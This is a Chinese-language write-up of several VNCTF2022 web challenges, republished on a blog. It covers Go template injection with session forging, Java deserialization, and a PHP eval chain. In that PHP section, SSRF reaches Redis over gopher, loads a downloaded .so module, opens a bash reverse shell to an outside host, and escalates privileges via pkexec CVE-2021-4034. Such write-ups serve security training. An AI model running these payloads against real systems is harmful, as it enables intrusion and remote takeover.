VNCTF2022 web wp

VNCTF2022 web wp,第1张

GameV4.0

js/data.js下有段FLAG的base64加密

Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==

解码就行

VNCTF{Welcome_to_VNCTF2022}

gocalc0

非预期
xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www

然后把session解密


预期解
{{.}}拿到源码

package main

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "
"
} session.Set("history", his) session.Save() render(c) }) r.Run(fmt.Sprintf(":%s", port)) }

exp

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8888"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}
easyJ4va

读文件

http://1.13.163.248:8083/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

条件竞争

rEvqw4E6qhbcY9PLO8XFGb401nr8MJbI

那道key后,满足this.user.equals(u)就可以拿到flag了

User类重写了readObject,所有我们要重写writeObject

import entity.User;
import util.SerAndDe;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;


public class Test3 {

    public static void main(String[] args) throws IOException {

        User user = new User("m4n_q1u_666", "666", "180");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        byte[] bytes=SerAndDe.serialize(user);
        String en = Base64.getEncoder().encodeToString(bytes);

        System.out.println(en);

        System.out.print((User)SerAndDe.deserialize(Base64.getDecoder().decode(en)));

    }
}

InterestingPHP

过滤了phpinfo;

看下本地

http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=print_r(scandir(%27.%27));

然后访问secret.rdb得到 redis 密码 ye_w4nt_a_gir1fri3nd

然后搞个ssrf,打redis,但是端口不是6379,也没其他提示,然后就扫嘛

import requests
from urllib import parse

url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}

payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            if($result!=''){
            echo $result.$url;
            }
            
        } 
        for($i=0;$i<9999;$i++){
            Curl("dict://127.0.0.1:$i/info");
            }
        '''

data = {
    0:payload
}

r = requests.post(url,data=data,headers=headers).text
print(r)

扫到8888端口

然后用gopher,ping了一下,可以用gopher,然后也可以写木马,没啥用,然后想的主从复制,然后试了好几次也没用,最后想到用file_put_contents写so文件

import requests

url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://ip/exp.so"
payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);

            curl_close($ch);
            file_put_contents("exp.so",$result);
      }

      Curl("''' + pay + '''");
'''.strip()

data = {
    0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

然后加载so文件,到达命令执行的目的,但是读不了/flag

然后反dshell

import requests
from urllib import parse


url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type":"application/x-www-form-urlencoded"}

pay="""auth ye_w4nt_a_gir1fri3nd
module load ./ex.so
system.exec 'bash -c "bash -i >& /dev/tcp/ip/7777 0>&1"'
quit
""".replace('\n','\r\n')

payload = '''
      function Curl($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
            $result = curl_exec($ch);
            curl_close($ch);
            if($result!=''){
            echo $result;
            }
            
        } 
        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");
        '''

data = {
    0:payload
}

r = requests.post(url,data=data,headers=headers).text
print(r)

看了/flag权限不够,执行find / -user root -perm -4000 -print 2>/dev/null

/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1

然后搜了下pkexec,确实有这个提权 https://github.com/arthepsy/CVE-2021-4034

然后把c文件下载下了,

newcalc0

开始一直没头绪,然后赛后搜到这个文章里的vm-calc,好像是从这个题改编的,直接打

https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/

然后console.table([{x:1}], ["__proto__"]);放到计算器算一下

然后访问/flag就可以了,更具体也可以看下上面那个文章

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/994057.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存